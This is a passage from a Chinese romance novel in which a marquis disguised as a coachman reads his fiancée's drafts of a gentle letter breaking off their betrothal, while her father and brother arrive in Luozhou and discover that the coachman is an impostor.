用午膳的时候,徐肃年发觉盛乔今日实在有些精神萎靡,仔细观察,眼底竟还有两圈青黑的痕迹。
“昨晚没睡好?”他关心道。
盛乔没什么精神地点了点头,伸手想去夹菜,但夹了半天都没有夹到一个包子。
徐肃年难得看到她这幅没精打采的模样,帮她夹起包子放到她的碗碟里,合理猜测,“是不是昨晚做噩梦了?”
盛乔虽然没回答,但只看她的表情就知道猜对了,徐肃年想问问她这是做了什么梦,后劲儿这么大,可还不等她开口,盛乔直接撂了筷子站起身,“我还有事,先回去了。”
徐肃年看着她几乎是落荒而逃的背影,挑了挑眉。
自从昨夜那个梦之后,盛乔心里对徐肃年的态度就隐隐发生了变化。
她原本是很厌恶徐肃年的,觉得他是一个怎么都甩不掉的包袱,但是现在,她在厌恶之余,竟然还带了些隐隐的怜悯。
毕竟徐肃年对她爱而不得,并在背后一直默默关注她,甚至主动帮她在卢烨面前说好话,解决书院的事。
她就算不喜欢他,也不该再对他态度太恶劣。
盛乔回到房间,翻出自己先前写的一封退婚书,默默打开看了起来。
从遇到徐肃景后,她便一直在写退婚书,想让他有时间能帮自己交给徐肃年。
只是最近忙于书院的事,一时没有找到机会。
但现在,她看着这封退婚书,忽然就觉得自己言辞间有些太过激烈了,如果徐肃年看到,会不会刺痛他那颗本就敏感脆弱的心。
就算没有刺痛他,万一他情绪悲愤之下,忽然抹脖子自杀了怎么办。
她可不想一辈子陷在愧疚之中。
盛乔叹了口气,默默撕掉扔进渣斗,预备重新写一封,可无论如何措辞都不满意。
若是直接退婚,怕徐肃年看了会发疯。
因此最合适的方法,就是夸耀对方,贬低自己,但盛乔实在下不去手。
她可以违心去夸徐肃年,却不想昧着良心贬低自己配不上他。
明明只有别人配不上自己的份好不好。
盛乔写了几张都不满意,粗糙地揉成一团扔在地方,然后烦躁地扔了笔,揉着脑袋把自己砸进柔软的大床上,滚了两圈之后,竟就这么不知不觉地睡着了。
大约是昨夜实在睡得不安稳,房门被人敲响都没能把她惊醒。
过了一会儿,未锁的窗户被人从外面推开,徐肃年动作利落地翻了进来。
他的动作很轻,落地时也没有带起半点声音,床上熟睡的盛乔更是全然没有半点醒来的迹象。
徐肃年走过去看了看她,又伸手在她额头上试了试温度,确定她是睡着了,心里松了口气。
他察觉盛乔情绪不对,所以特意过来看她,没想到她一直不开门,还担心她是不是病了,原来是睡着了。
但既然都翻进来了,也不必再着急走了。
徐肃年拉过旁边的被子,动作轻柔地盖到了盛乔的身上,然后熟门熟路地走到一旁的美人榻边坐下。
坐了一会儿又觉得无聊,想到她书桌上随意找本话本看看,却一下子就看到了她桌上摊开着的没写完的信。
徐肃年打眼一瞟,一个字没看清,只看到一团被墨水涂黑的黑疙瘩。
原本不感兴趣的,看到盛乔把字全都涂掉之后,反而生出了好奇之心。
正好地上还扔着几个作废的纸团,徐肃年弯腰捡起一个,放轻了动作将其展开,没想到那竟然是写给自己的信——
端阳侯,见字如晤。常闻人夸赞,君实乃善人也。君心德善,吾亦慕之。然……
信只写到这,便停住了。
徐肃年翻来覆去看了一遍,确认自己没有看错,开头三个字,真的是端阳侯而不是徐少安,终于皱起了眉。
第37章 假想你未来岳丈马上到洛州
常言道,女人心海底针。
借此喻言女子之心深不可测,难以捉摸。
但徐肃景反而觉得,男人心才是海底针。
他大哥回到驿馆之后,就始终阴沉着脸一句话不说,就连他亲自给他端了杯茶过来,他也当没看见似的,一双锐利如鹰隼的眼睛死死盯着一处,不是是谁又惹到他了。
齐甄、齐源都不想惹祸上身,早早避开了。
可徐肃景作为亲弟弟,自觉还是该关心关心,难道是盛三娘子知晓他的身份了?
他忍不住问:“大哥,是不是盛三……”
但后面的话根本没说完,便见徐肃年一个眼刀飞过来,当即不敢再往下问了。
徐肃年不愿迁怒别人,冷冷睨他一眼,赶他出去。
纵有天大的好奇,此时也不敢再问了,徐肃景忙不迭地逃出房间,不忘贴心地替他带上房门。
总算清净了,徐肃年烦躁地揉了揉眉心,他从袖中摸出一张皱巴巴的纸团,正是白日在盛乔房间里看到的那张纸。
整张纸明明只有短短两句话二十七个字,徐肃年却像看不懂似的,他将信摊平展开在桌上,开始读第十遍。
他一向自问聪明,却摸不透一个小娘子的心思。
到底阿乔为何给“徐肃年”写这样一封信,她不是很讨厌“徐肃年”么?
到底发生了什么,让她在突然间改变了对他的态度,甚至在信里心平气和地写一些溢美之词。
思来想去,徐肃年忽然想到,盛乔昨日好像去见了卢烨,难道是卢烨对她说了什么?
他立刻起身去找卢烨,卢烨却也十分无辜,对他说道:“我只是按照侯爷吩咐的,特意在小娘子面前提了侯爷两句,别的也没说什么。”
说完见徐肃年脸色不对,卢烨生怕惹祸上身,干脆将昨天的情形完整地复述了一遍,并特意强调,“下官也没想到盛娘子和贵府二郎君也认识,且先前二郎君与盛娘子说的是您不在洛州府。”
从卢烨处回去,徐肃年的脸色更难看了。
不仅没得到答案,反而更加疑惑,要说卢烨的话和二郎先前的话相矛盾,难道阿乔不该更生“徐肃年”的气么,怎么反而改变了态度。
徐肃年实在是百思不得其解,他看了看外间的天色,还是决定旁敲侧击地问一问盛乔。
盛乔那一觉没睡多久,半个时辰就醒了,完全不知道自己房间里曾经进来过人。
天热,她是被渴醒的,想去给自己倒杯水喝,走到书桌旁,又看到桌上未写完的信,涂黑的疙瘩比她的思路还乱,她烦躁地将其揉成一团然后随手扔进了渣斗。
她从一旁重新取了一张信纸铺开,打算从头开始写,但写了半晌,还是撂下了笔。
她原本的想法还是和先前一样,夸赞对方,贬低自己。
但因舍不得说自己的坏话,于是大篇幅地增加了对徐肃年的夸赞之语。
此时一眼看过去,这信不像是什么退婚书,倒像是一封表达爱慕的情书。
虽然后面她还要起承转折,可若是徐肃年只看到这里怎么办?
盛乔觉得自己简直要愁死了,写了划划了写,没一会儿就糟蹋了一大摞信纸。
她颓丧地想去拿下一张,这时房门被人敲响,徐少安的声音在门外响起,“阿乔,是我。”
还没开门,盛乔便觉出了一点不对。
虽然徐少安早就知道了自己的名字,但实际上他平时更多时候,还是称呼自己为小娘子,怎么今日叫得这般亲密。
盛乔拉开房门,没急着放他进来,而是先上上下下地将人打量了一遍。
徐肃年只当没看出她的打量,“小娘子看我做什么?”
方才只看表情,盛乔什么都没看出来,但这会儿他一开口,盛乔就感觉到了,他的语气好像比平时要冷。
谁又惹到他了,盛乔最近很少见到他冷着脸了,一时还有些不习惯。
徐肃年说完,也意识到了自己的语气不对,他强行将情绪压下去,将声音放柔了些,“外面这么冷,小娘子不请我进去坐坐么?”
盛乔看了看外面还没落下的太阳,茫然地眨眨眼,“这天气冷吗?你是不是染了风寒?”
徐肃年盯着她掩在门边的动作,幽深的眸子暗了暗,“小娘子方才在做什么?”
盛乔本能地想要掩饰。
虽然她是在给徐肃年写退婚书,但实际上大多数时间都在夸他,盛乔本能不想让徐少安看到那些东西,怕他会胡思乱想。
但转念一想,或许男人更了解男人的心思呢,她在房中坐了一下午都琢磨不出来,不如问问徐少安。
于是,盛乔让开身子,将男人拽了进来。
一进屋,徐肃年先看到的就是那满地的废纸团。
看来闷在屋子的时候,盛乔又在给“徐肃年”写信。
他装作不知道,用疑惑的眼神看向女郎。
盛乔也不知该怎么开口解释,在心中措辞半晌,还是决定直说——
“我觉得,徐肃年喜欢我。”
“……”
徐肃年一时没反应过来,很是艰难地才没让自己的表情失控。
半晌才问:“什么?”
盛乔惆怅地叹了口气,将自己昨日的猜测全都告诉了他。
徐肃年艰难地理解半晌,总算明白了盛乔的想法。
“他在背后默默帮你,但又不见你,所以你觉得他喜欢你?”
“你觉得我想得不对吗?”盛乔有些紧张地问。
其实她也希望是自己想得太多。
虽说过程全错,可她竟也能猜对结果。
徐肃年不知道自己是该佩服盛乔的想象力,还是该佩服她的直觉。
他摇了摇头,说:“我觉得你猜的很对,他一定是爱慕小娘子。”
听到他的赞同,盛乔也不知是该高兴还是烦躁,无奈地叹了口气。
徐肃年有些想笑,但被他强压下去了,他伸手指了指地上的狼藉,问:“那,这是什么?”
“退婚书。”盛乔沉重地回答。
竟然是退婚书?
徐肃年愣了愣,“退婚书怎么写这么多?”
盛乔叹口气,然后蹲下身子随意捡起一个扔给他,“你看看罢。”
徐肃年展开一看,和他先前捡到的那张内容差不多,只是溢美之词又更加丰富了一些,若不是知道盛乔不会撒谎骗他,他都要以为这是写给情郎的信。
盛乔观察着他的表情,不满道:“你那是什么眼神。”
“不敢相信的眼神。”徐肃年看着她,到底还是没忍住问出了口,“你不是说这是退婚书吗?”
听出他语气的怀疑,盛乔瞪起眼睛,语气不善地问,“是啊,要不然你觉得是什么?”
徐肃年神色复杂地看了看她,没把那两个字说出来。
盛乔却难得看懂了他的意思,一下子又变得垂头丧气起来。
“其实……”盛乔说,“我也觉得像,所以才会扔掉。”
若不是将要收退婚书的人就是他自己,徐肃年看着她这可怜巴巴的模样,几乎就想开口说要帮她写了。
最终,徐肃年只是轻咳了一声,然后有些不解地问她,“小娘子既要退婚,直说就是,何必拐弯抹角地写这些。”
“还不是怕他伤心。”
“……”徐肃年不可置信,“小娘子何时对他这么温柔起来了?”
不是从前他稍稍想给“徐肃年”说一句好话,就被她瞪的时候了。
盛乔也很无奈,“我也不想,可谁叫他对我单相思,我这个人心又那么软,现在总觉得他怪可怜的。 ”
“而且……”盛乔左右看了看,然后小心翼翼地对身边的男人说,“我总觉得这个徐肃年一定有什么隐疾。”
徐肃年眼角一抽,“……小娘子何处此言?”
盛乔说:“你想呀,我们两个原本就身份、家世相当,他只要稍微是个正常人,对我一颗真心,我又怎会推拒?偏偏他死活不肯见我,如今却又强拖着不退婚,所以我怀疑他要么是相貌丑陋,要么就是身怀隐疾。”
盛乔解释完这一大通,一抬头,见眼前的男人脸色颇有些难看。
她暗骂自己失策,怎么忘了眼前这个才是自己的真情郎,她当着情郎的面一直提起另一个男人,还不小心踩到了他的痛脚,他的心里一定很不是滋味。
于是盛乔立刻搂住他,然后补偿一般在他脸颊上又亲了一口,保证但道:“放心罢,就算他再爱我,我也不会对他有任何一点动心的,因为我只喜欢你一个!”
听到女郎如此直接的表白,徐肃年也不知道自己该喜还是该忧。
他心情复杂地看了一眼手里还攥着的废纸,说:“我想,端阳侯或许有什么苦衷罢。”
盛乔倒是没想到这一点,忍不住问:“什么苦衷?”
徐肃年担心自己说得太多,会让盛乔像上次一样疑心自己,只道:“我也不知,只是猜想端阳侯身份高贵,或许会有什么不得说的秘密罢。”
盛乔听了,果然没怀疑什么,她搂紧徐肃年的腰,半晌也忍不住感叹了一句,“如果真是这样的话,那他也挺可怜的。”
单相思无果,妻子也成了别人的。
徐肃年听出她言语间态度的软化,忍不住感叹,他的小娘子实在是太心软了。
只因为一个莫须有的猜测,就能对一个很讨厌的人改变态度。
他忽然想,若这世界上真的有另外一个“徐肃年”,且当真对她情根深种多年,并默默为她付出了许多。
盛乔得知之后,会对那个人是什么样的态度。
就算不会喜欢,也会有感动罢。
若那人也是个有手段的,挟恩图报,然后再一步步地得寸进尺,以盛乔这样天真的性子,会被他骗吗?
徐肃年不知道,也不想知道,当然他也永远不可能知道一个答案。
可此时此刻,他被自己的一个想象酸到了。
他怎么可能把盛乔让给别人?
就算只是单相思也实在碍眼。
徐肃年搂着盛乔的胳膊寸寸收紧,他微微垂下头,能看到小娘子如鸦羽般浓密茂盛的眼睫。
徐肃年没忍住,搂着她的肩膀,然后在她的头顶珍惜地亲了亲。
盛乔感觉到他的动作,抬头看向他,眼睫无辜地轻眨了两下,“怎么了?”
徐肃年摇了摇头,“没什么。”
只是忍不住想抱她,想亲她,想要完全地拥有她。
可他如果是徐少安的身份,一辈子都不能把她娶回家。
此时此刻,徐肃年忽然有些厌烦“徐少安”这个身份了。
先前他总是想,能拖一天是一天,盛乔能晚些知道他的身份,他就能接着“徐少安”的名义与她多开心平静地相处几日。
可他现在已经完全不满足于此,他想要完完整整地得到她,想让盛乔成为自己的妻子。
如此一来,他惟有快些恢复徐肃年的身份,因为只有他是端阳侯,才能真正地迎娶盛家三娘子。
想通这点之后,徐肃年发现自己忽然一点都不害怕身份揭露的那一天了,反而希望这天能够快些到来。
反正无论如何,他骗了盛乔这么久都是不争的事实,这些天他对盛乔的心思也算是十分了解了,他清晰地明白,无论如何盛乔都不可能不生气。
如此,何不让那一天早些到来。
当然就算他再期待,他是绝不可能在此时将自己的身份戳破的。
因为此时坦白,就是明摆着的欺骗,但如果……
徐肃年想到了他方才的话——
如果他真的有苦衷呢。
徐肃年眼眸微动,不知又想到了什么,倾身在盛乔乱动的眼睫上亲了一下。
纯情老实的路线果然还是不太适合他,徐肃年想。
当晚,徐肃年再回到官邸时,面上已经再不见先前的冷厉,只余一片柔和。
徐肃景见到他这副样子,便猜到他下午是去做了什么。
与他打招呼时,徐肃景面上仍是恭恭敬敬,心里却在想,真没想到性子一向冷硬的大哥,有朝一日会被儿女私情牵动情绪,这还真是一物降一物。
他撇撇嘴告退了,徐肃年也没留他,回屋之后,便要提笔写信,才写下一个字,便听房门被人敲响。
“侯爷。”是齐源的声音,“属下有事禀告。”
徐肃年拿了本书盖住手边的信纸,然后才叫齐源进来。
“侯爷。”齐源朝他行礼。
徐肃年叫他起身,然后问:“是蒋司马的事?”
徐肃年近来一直吩咐齐源去查蒋司马背后的关系线,下意识便以为他来找自己是为公事。
不料齐源却道:“是长公主殿下寄来的家书。”
怎么又寄了一封信?
那边二郎才刚到没两天,母亲怎么又派人寄信来了。
徐肃年疑惑地将信拆开,不料信上只有一句话:昨日,燕国公向陛下告假,现已赴洛州。
看信上的视线,这信是写于三天前的了。
看来盛怀义已经在路上了。
徐肃年思索片刻,正想对齐源吩咐一句什么,就听房门再度被人推开,徐肃景没敲门就直接闯了进来。
徐肃年瞪他一眼,用眼神骂了一句冒失。
徐肃景却当没看见似的,眼里只有徐肃年手里的信。
“听齐甄说,家里又寄信来了。”徐肃景喜滋滋的,“我才离家这么久,阿娘就想我了。”
他也不和徐肃年客气,直接上手就去抓那封信。
徐肃年大方地让给他。
待看到那信上只有一句话的时候,徐肃景的脸色一下子就垮了下来,“怎么又是写给大哥的啊。”
徐肃年没理他,只微微挑了挑眉。
兄弟俩人一起长大,若说这事情最了解徐肃年的人是谁,徐肃景自问可以得一个前三甲。
他只看这表情,就知道自家兄长此时的心情不错。
一时都顾不上抱怨,他低头看了眼信上的字,问徐肃年,“大哥,你是不是还没来得及看这信,不知道信上写了什么?”
徐肃年说:“我当然看了。”
“那你还……”徐肃景又飞快地把那信看了一遍,完全想不明白他这会儿在高兴什么,“大哥,你未来的岳丈马上就要到洛州了,算算时间,只怕后天就能杀过来了,盛三娘子虽然没见过你,可她爹和你同朝为官这么久,总不会也不认识你罢?”
“当然认识。”徐肃年说。
“那你难道不担心么?”徐肃景无法理解,“你就不怕自己的身份到时候被燕国公拆穿?”
有什么可担心的。
徐肃年移开手边的书,把刚写了一个“燕”字的信纸团成团扔进渣斗。
正不知找个谁来拆穿他,燕国公就自己来了。
徐肃年想,他不该担心,反而该感谢老天实在待他不薄。
第38章 父兄掉马(上)
洛水县。
盛淙拎着刚刚
灌满的水袋横穿过长街,来到巷子口的一处面摊前,“阿爹,我回来了。”
他走到盛怀义对面坐下,将水袋递给他,“赶了半天路,您喝口水。”
天热,骑马又晒,盛怀义头戴一顶从路边买的斗笠,是手工编织的,极为粗糙,再加上他这一身茶褐色的窄袖常服,哪里还像个尊贵的国公,实在是怎么看怎么落魄。
盛淙长这么大,还没见过亲爹这幅模样,有些好笑,还有些心酸,忍不住劝道:“阿爹,现离着洛州没多远了,要不今晚找个客栈好好歇一歇,明天再好赶路?”
按理说,在长安因着告假的事,再加上路上耽搁的时间,也不差再晚这一天了,可盛怀义根本不能歇,因为他只要一闭上眼,就会梦到自己的宝贝女儿和一个野男人抱在一起的画面。
虽然他在梦中看不见那个男人的脸,但想来也是配不上他的宝贝女儿的。
这会儿盛怀义忽又想起徐肃年来,至少知根知底,丹宁长公主又和宜秋相识多年,再怎么不好也不至于像现在这样心惊胆战的。
盛怀义挑了挑碗里的面条,愈发没了胃口,他看了眼天色大致判断了一下时辰,对盛淙说:“你继续吃罢,吃完了就继续赶路。”
盛淙也看过郑墨寄来的那封信,自然明白阿爹是在担心什么。总归也没多远了,盛淙干脆也撂下筷子,说:“早一刻见到阿乔,也能早一刻安心。”
父子俩轻车简从,只带了两个随从。随从听到郎君的话,立刻扒拉了两口面条,然后去一旁的大树下牵马,盛怀义和盛淙上了马,一行人便调转马头往城门口的方向走。
城内人多,又赶上午膳时间,车马行不了太快,盛怀义为了缓和心里的烦郁,干脆和儿子聊起天来。
“三郎,你说阿乔想没想我们?”
盛淙毫不犹豫地说:“一定想了罢,阿乔第一次离开长安,哪会不想阿爹阿娘呢。”
盛怀义却不乐观,“想我还不知道写信,我看啊,她现在是乐不思蜀了,早忘了还有爹娘了。”
听他这酸溜溜的语气,盛淙就知道自家亲爹这是又想到那个不知名姓的男人,心里呷醋了。
他无奈地摇了摇头,忙说好话安慰,其实心里也忍不住去想:不知阿乔看上的到底是个什么样的男人,其实那男人身份低些,家境清贫些也无妨,反正盛家既有权又有钱,大不了将他招为赘婿。只怕的是阿乔单纯,又不懂男女之事,被什么坏人蒙骗。
盛淙担心地叹了口气,连扬鞭的力道都不自觉大了一些。
父子二人谁都再说话,只一路快马加鞭,将一天的路程缩成了半天,晚膳都没用。
等看到洛州府城门的时候,正巧太阳西落,在长街上撒下了最后一缕余晖。
进城之后,盛淙第一时间下了马,拿着郑墨寄来的地址去路边问路,然后回来对盛怀义说:“阿爹,墨儿给的地址应当在西城,离这也就一个时辰的路,不远。”
盛怀义接过随从递来的汗巾,擦了擦汗,道:“那就走罢。”
只剩一个时辰的路了,按理说应当快马加鞭才对,但也不知是近乡情怯还是怎的,盛怀义反而放慢了行进的速度。
其中跟在他身边的盛淙见此也没说什么,只陪着父亲一起放慢速度,父子俩并行着,慢慢朝济善堂走去。
眼看天就要黑了,路上的行人也不算多,即便他们放慢了速度,到济善堂的时候太阳还没完全落下。
门口的守卫将他们拦住,盛淙从怀中掏出一枚刻着自己名字的私章,递给那守卫,客气道:“我们是郑娘子的亲戚,这是我的印信,劳烦帮忙通报一声。”
护卫诧异地看了他们一眼,接了那私章,应声进去通报了。
其实盛怀义去向皇帝告假之前,也不确定皇上会否允准他离开京城,也怕途中会出岔子,因此在回信中并未告知郑墨和盛乔他有来洛州的打算。
不过郑墨在看到那私章之后,就能猜到他们来了,一定会叫上盛乔一起出来。
想到即将要见到宝贝女儿,盛怀义莫名还有些紧张。他低头看着自己身上的衣裳,忽然有些后悔,至少该找个客栈拾掇拾掇再来的。
不过后悔也晚了,半开的院门内已经传来了脚步声,盛怀义只来得及理了理散乱的鬓发和领口。
“阿乔……”
还不等人出来,盛怀义已然迫不及待地迎了上去,没想到从门内走出来的,却只有郑墨一个人。
郑墨匆匆跑出来,虽然看到那枚私章已经有了心理准备,但真看到盛怀义和盛淙时,还是不敢相信地揉了揉眼睛。
“姑父……表哥……”郑墨惊讶地迎上前,“竟真的是你们来了,我还以为是门房报错了。”
郑家所有人中,郑墨和郑宜秋这个姑姑的关系最好,小时候还在燕国公府住过一段时间,因此和盛怀义、盛淙也十分亲近。
算起来,也有几年没见过郑墨了,盛怀义看着这个早已出落得亭亭玉立的内侄女,感叹似的拍了拍她的肩头,“许久不见,墨儿长高了。”
盛淙也跟着附和,“是啊,转脸就长成大姑娘了,上次见到墨表妹时,还是她拉着阿乔在宴会上偷饴糖吃的年纪。”
当年郑墨为逃避联姻从家里跑出来,若不是姑姑帮她在家里劝和,只怕她早就被家里抓回去了,哪会有现在的逍遥日子。
因此,在郑墨心里,姑姑、姑父一家甚至比自己的亲生爹娘还要亲。
许久未见,原本还有些眼眶酸酸的,但听到盛淙这话,郑墨没忍住噗嗤一声笑出来,佯装生气道:“表兄在我的屋檐下还要拆我的台,可别怪小妹我不招待你了!”
盛淙哈哈一笑,“阿爹,你瞧,墨儿果真是长大了,成了当家的大娘子了,也学会摆架子了。”
听着两人笑闹,盛怀义也没说什么,只往郑墨身后敞开的大门里瞧了瞧。
郑墨早就观察着盛怀义的表情,知道他看似在和自己说话,实际心里还是惦着阿乔,她无奈叹了口气,说:“姑父,非是我不带阿乔过来,实在是她现在不在府里。”
天色已经这么晚,阿乔这丫头不在家还能去哪?
盛怀义皱起眉,还没说什么,盛淙已经抢先问出了口,“这么晚了,阿乔是去哪了?”
原本想替阿乔瞒着,但见到盛怀义之后,看到他这幅风尘仆仆的模样,郑墨也是实在不忍欺瞒。
犹豫了一下,她还是决定实话实说,“阿乔和人下午就出门去了,一直还没回来。”
盛怀义和盛淙一听这话,脸色皆变得很是难看,父子两人对视一眼,都从对方眼里看到了答案。
方才还温和的脸色骤然沉了下来,盛怀义几乎是从牙缝里挤出来一句,“和那个车夫?”
郑墨看了眼身后的两个护卫,到底没在门外说什么,她上前两步扶住盛怀义的胳膊,说:“姑父,表兄,有什么话咱们进去再说。”
郑墨直接将二人带到了他和盛乔的院子,只是院子里没有会客的小厅,她原想带到自己的书房的,但毕竟盛淙也在,她们表兄妹之间还是要避嫌,于是便将他们带到了盛乔的书房。
“姑父,表哥,你们这会儿过来,肯定还没吃晚饭罢,我叫人送些吃的过来。”郑墨说着就要去唤人,却被盛怀义拦下了。
“墨儿,我们不饿,你不必再忙活别的了,坐下同我说说阿乔的事。”
原想打个岔,缓和一下盛怀义的情绪的,但听到这话,郑墨也只得乖乖应声。
“是。”
盛乔的书房不算大,设施却齐全,书桌旁摆着几把椅子,盛怀义和盛淙坐过去,郑墨则坐在了窗边的长榻上。
“其实,这件事还是要怪我……”
郑墨叹口气,然后将自己当时是如何选的租车行,如何提前雇佣的车夫,再到后来盛乔到了洛州后所发生的所有事,全都和盛怀义讲了一遍。
“原我只是觉得那车夫的容貌过于出挑,但见他对阿乔还算恭敬,又有一身的好武艺,便也答应了让他留下来。”
“只是没想到……这好好的主仆之
谊竟会走到今天这一步,阿乔竟真对他动了心。”
郑墨越说声音越小,说到最后,脑袋几乎要埋进胸腔里去,她不敢看盛怀义的脸色,小声道:“姑父,都是我的错,我当时答应会好好照顾阿乔,但我失言了。”
“不怪你。”盛怀义叹道,“男女之事你情我愿,就算是我在,也不见得能拦得住阿乔。”
他自己的女儿,他是最了解的。
阿乔看着性子软和,好说话,实际上最是倔强,只要她决定的事,任谁也不能改变。
否则当初也不会那么决绝的逃婚了。
她才十六岁,别说长安城了,往常就连燕国公府都没出过几次。可就这样,她也敢一个人跑出来,若不是郑墨在洛州把她拦住,只怕现在已经在几千里外的江州了。
盛怀义叹口气,“阿乔就是这个性子,她不愿意接受我给她定的亲事,想自己找一个如意郎君,也不稀奇。”
他并不气阿乔与人私定终身,只怕担心她性子天真,会被人骗。
郑墨又何尝不懂他的慈父之心,但她心里的愧疚也不是盛怀义这一两句的安慰能开解的,毕竟这一切都是因她而起。
“当时,我就不该给阿乔雇下这么一个年轻的车夫,那时只想着年轻人赶路定然有力气,又有身契在身,应当也不会出什么事,可没想到那车夫的……”
她的碎碎念没能说完,就被盛怀义直接打断了,他的语气忽然变得有些严肃,皱眉问道:“墨儿,你刚刚说什么?”
郑墨还有些发蒙,不知姑父怎么忽然就严肃起来,想了想才道:“我说都怪我,当初就不该给阿乔雇一个那么年轻的车夫……”
“怎,怎么了……”
盛怀义没说话,只是偏头看了看身边的盛淙,正巧他也在这时看过来,父子俩对视一眼,都从彼此眼中看到了答案。
半晌,盛淙才终于开口,“墨儿,你说的那个车夫,可是你从永安商行买下的那个姓徐的?”
不知他为何这么问,郑墨茫然地点了点头。
盛淙听完这句,嚯然从椅子上站起来,当即就就要往外冲。
“三郎!”
盛怀义还算冷静,但面色霎时变得更加难看,好似活吞了什么脏东西似的。
眼见盛淙就要冲出去,他立刻叫住他,“三郎!站住!”
盛淙不甘心地转过身,急道:“阿爹,我得去找阿乔!”
盛怀义当然知道他出去是想做什么,他反问道:“都耽搁两个月了,还差这一会儿么?再说了,这洛州城这么大,你知道去哪找吗?”
盛淙如何坐得住,还要反驳,却听盛怀义厉声斥道:“多大的人了,一点都稳不住,你这莽莽撞撞的样子,想吓死你表妹么?”
盛淙闻言一怔,看了一旁的郑墨一眼,果见她的眼里浸出了泪水。
郑墨根本不知发生了什么,但见他二人的表情,也知道一定是哪里出了岔子,眼底的焦急情绪都快溢出来了。
盛怀义原不想说,怕郑墨心里愧疚,但也知道她们表姐妹关系好,若是不告诉她,只怕她更要胡思乱想。
于是盛怀义看了盛淙一眼,疲惫地开口:“让你表哥解释罢。”
盛淙的表情还没能完全平复,语气也十分急切,“你在永安车行雇的那个车夫徐二,根本没离开过京城,当天他阴差阳错地搅到了大理寺的案子里,直接被捉进大牢里,你给他的那枚鱼形佩也早早就丢了,阿乔离京那天,坐得根本不是他的马车。”
所以……
所以徐少安真的不是她在永安车行给盛乔雇的那个车夫,难怪她一直觉得怪怪的。
“可他既不是车夫,又为何待在阿乔身边这么久?他到底想要什么?”
她看向盛怀义,试图寻求答案,不料盛怀义也摇了摇头。
郑墨在信里说,阿乔与书院里的一个车夫定了情的时候,他本能的认为是阿乔在路上雇的车夫。
毕竟原先那个根本没出城,连证明身份的信物都弄丢了。
而盛淙问遍了大理寺当天派出去的所有人,竟无一人知道那枚鱼形佩的下落。
怎么找都找不到,盛怀义也只能猜想,那玉佩或是车夫不小心丢在了哪个角落,然后路过的人看着值钱,便捡走了。
毕竟不知内里的人,也并不知那枚鱼形佩的真正用途。
可没想到这世间竟有这么巧的事,捡走玉佩的人真成了盛乔的车夫,且就这么一路把她送到了洛州,还留了下来。
此人到底是何目的,他知不知阿乔身份,为何要留在阿乔身边?
盛怀义想得脑仁都要炸开了,他看了看外面的天色,已经能隐隐瞧见天边的月亮了。
天都黑了,阿乔却还没回来。
这下纵是盛怀义也有些坐不住了,他看了眼六神无主的郑墨,问:“墨儿,阿乔今日出门前,没说要去哪吗?”
郑墨强制让自己冷静下来,想了想,颤声回道:“她,她说要去郊外骑马。”
饮溪马场是洛州郊外最负盛名的马场,不仅占地广,风景也好,就建在城外的溪山上。
盛乔早就想来这骑马,只是她自己一个人不敢来,郑墨整天忙得团团转,徐少安最近也常常找不到人,她不知道找谁陪着,便一直拖到今日。
原本今日也不想来的,她最近看账本看得实在太累了,难得有半天休息时间,早就计划着要回房睡个天昏地暗。
没想到午膳一过,徐少安就来找她,说要带她去饮溪马场骑马。
“现在吗?”
盛乔本还有些犹豫,不料徐少安竟连新的骑装都给她买好了,是一身特别漂亮的水蓝色。
新衣服当然要穿出去给别人看,脑袋里的倦意瞬间被驱散,盛乔接过徐少安递给她的包袱,点头道:“那你等我,我去换了衣裳我们就走。”
原还不想出门的,但换了骑装出来之后,盛乔才觉得徐少安真是会挑日子。
眼看着入了夏,最近几日天气都很热,盛乔有些不适应洛州的天气,恨不得每天都抱着冰鉴过日子。
今日难得不算很热,太阳也不很晒。
天气一好,盛乔的心情也跟着变好,她坐在马背上,看着身侧与他并肩的徐少安,笑眯眯地说:“我们好像已经很久没有出来玩了。”
徐少安不动声色地挑挑眉,“是吗?”
“是啊!”盛乔回忆道,“上次我们刚来济善堂的时候,你陪我去买衣裳,你自己想想这都过去多久了?”
徐少安假装没听懂她的意思,“原来后来去庆欢楼用膳的那几次,小娘子都不记得了。”
盛乔很容易中计,一听这话立刻很认真地解释,“那几次都是和别人一起,我说得是我们两个。”
“哦。”徐肃年点点头,故意曲解,“原来小娘子是嫌他们碍眼,其实心里只想和我出门。”
这人真是……
盛乔美目轻刮了他一眼,嗔骂一声,“不知羞耻!”
然后也不再理人,攥着缰绳轻叱一声,骑马跑了。
徐肃年没急着去追,只是不紧不慢地跟在她的身后,默默地盯着她的背影。
若没算错,盛怀义今天应能到洛州城罢。
但愿他能脚程快些,也不辜负他特意搭得戏台子。
盛乔并不知身后的男人在算计着什么,她一心只有骑马玩乐,一路纵马出城,看着不远处的溪山,心情也跟着开阔起来。
徐少安还没追上来。
盛乔回头去找男人的背影,果然在远处看到了他慢吞吞的身影。
说陪她骑马,却还骑得这么慢,盛乔调转马头,没有折回去找他,只是朝着他的方向大喊,“徐少安,你太慢了!”
徐肃年远远就听到盛乔的喊声,原本还有些阴郁的心情,瞬间转阴为晴。
他勾了勾唇角,松了点缰绳,加快了速度。
但盛乔仍然觉得他慢,坐在马上催促道:“快点罢,我们去的晚的话,马场里
的好马都被人挑没了。”
这饮溪马场,盛乔虽没去过,却听郑墨提起过很多次。
郑墨说这间马场的主人很是厉害,马厩里养着很多名马,且很大方地租借给到此骑马的客人,只是数量有限,先到先得。
当然,也可以自带马匹,但盛乔哪来的好马,她和徐少安骑的这两匹,还是从马车上卸下来的呢。
她一门心思想见识一下郑墨口中的那些名马,却见徐肃年走得这么慢,心下很是焦急。
徐肃年却道:“放心,没人和你抢。”
“你怎么知道?”盛乔很疑惑,“今天天气这么好,我觉得一定有很多人来这里跑马。”
徐肃年没有回答,只意味深长地笑了笑。
又卖关子。
盛乔简直要烦死了,一路上都不甘心地问来问去,徐肃年却像没听见似的,当真一句也不答。
直到两人真的到了饮溪马场,盛乔看着那空空荡荡的山头,才终于明白了男人的意思。
“你……”
盛乔不敢相信地转头看向徐少安,“难道你把这马场全包下来了?”
徐肃年点点头,带着她去马厩里选马,“小娘子不是早说想来吗?当然要玩得尽兴一些。”
盛乔看着那漫山遍野的茵茵草地,再想到最近看的账册里那流水一样的花销,第一次尝到了心疼银子的滋味。
身后还有马奴跟着,盛乔不敢大声,怕说出来被人笑话,于是刻意压低了声音,凑到徐少安身边,“这,这得花多少银子啊!你哪来的那么多钱?”
徐肃年看着她眨巴眨巴的大眼睛,险些没忍住亲下去。
“我赚银子不就是为了给小娘子花的吗?”
徐肃年满不在意地说。
